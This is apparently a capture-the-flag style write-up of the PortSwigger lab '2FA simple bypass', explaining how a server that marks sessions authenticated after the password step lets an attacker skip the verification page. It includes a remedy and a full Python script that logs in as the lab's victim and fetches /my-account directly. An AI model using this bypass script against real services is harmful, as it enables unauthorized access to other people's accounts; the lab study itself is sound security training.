2FA simple bypass
Original lab: 2FA simple bypass on PortSwigger ↗
Two-factor authentication only works if the server treats "password verified" and "fully authenticated" as different states. If a session is marked logged-in the moment the first factor succeeds, and the second-factor prompt is just a page the client is expected to visit next rather than a gate the server actually enforces, then skipping that page is the entire attack.
The Target
After submitting valid credentials, the app redirects to a verification-code page (/login2) rather than straight to the account. Whether that redirect is an actual authorization boundary or just a UI suggestion is what the lab is testing.
The Investigation
We already had valid credentials for the victim account (carlos:montoya, given by the lab) — no credential-recovery step was needed here. The question was purely about session state: does the server consider the session authenticated as soon as the password check passes, or only after the 2FA code is also verified?
The Exploit
lab_2_2fa_simple_bypass in Authentication.py answers that directly: log in with the known credentials, then instead of following the app to /login2, issue a plain GET /my-account on the same session. Per our verified notes, the server had already set the session as authenticated after step one — the 2FA page is an extra step the client is expected to complete, not a check the server re-validates before serving protected pages. The direct request to /my-account returned a 200 with no login prompt, and the account page loaded as carlos, flipping the lab's solve tracker. The wrapper also included a fallback attempt at /my-account?id=carlos in case the plain path didn't work, though the primary request succeeded on its own.
Comparing Notes: PortSwigger's Official Solution
PortSwigger's solution reaches the identical conclusion through a manual walkthrough: log in to your own account first to see what a normal authenticated /my-account URL looks like, log out, then log in with the victim's credentials and — instead of submitting the verification code — manually edit the browser's address bar to navigate straight to /my-account. The page loads because the session behind that request was already flagged as authenticated the moment the password check passed.
This is a case where our approach and the official one are functionally identical, down to the exact request being sent — the only difference is that PortSwigger's version is driven by typing a URL into a browser address bar, while ours issued the same GET /my-account programmatically over the already-authenticated session cookie.
What This Teaches Us
The bug here isn't in the 2FA code generation or validation logic at all — it's in session lifecycle management. A session must not be marked as fully authenticated until every required factor has actually been verified server-side; if the first factor alone is enough to unlock protected endpoints, the second factor is decorative. The fix is to gate every protected route behind a check for full authentication state, not just presence of a session cookie.
The automated solution
Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.
Show the solution script (Python)
#!/usr/bin/env python3
"""
2FA simple bypass
PortSwigger Web Security Academy -- Authentication
Companion script for the writeup: 07-2fa-simple-bypass.md
What this does:
Logs in with the victim credentials this specific lab provides
(carlos:montoya -- a fixed account PortSwigger hands out for this lab, not a
per-instance secret) and, instead of following the app to the /login2
verification page, issues a plain GET /my-account on the same session. The
server marks the session authenticated as soon as the password check passes,
so the 2FA page turns out to be an unenforced UI step rather than a real
authorization gate.
Usage:
python 07-2fa-simple-bypass.py <lab-url>
Requirements:
pip install httpx
"""
import re
import sys
import httpx
VICTIM_USER = "carlos"
VICTIM_PASS = "montoya"
def _csrf(html: str) -> str:
m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
return m.group(1) if m else ""
def solve(lab_url: str) -> None:
client = httpx.Client(follow_redirects=True, timeout=15)
page = client.get(f"{lab_url}/login")
client.post(f"{lab_url}/login", data={
"csrf": _csrf(page.text), "username": VICTIM_USER, "password": VICTIM_PASS
})
resp = client.get(f"{lab_url}/my-account")
print(f"[*] Direct /my-account after password login: {resp.status_code}")
check = client.get(lab_url)
if "congratulations" in check.text.lower():
print("[+] Lab solved -- 2FA step skipped entirely.")
return
# Fallback the original wrapper also tried.
resp = client.get(f"{lab_url}/my-account?id={VICTIM_USER}")
print(f"[*] /my-account?id={VICTIM_USER}: {resp.status_code}")
check = client.get(lab_url)
if "congratulations" in check.text.lower():
print("[+] Lab solved.")
else:
print("[-] Not solved yet.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <lab-url>")
sys.exit(1)
solve(sys.argv[1].rstrip("/"))
Related labs
Want to go from zero to junior pentester?
These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.
Join the Free Live Webinar →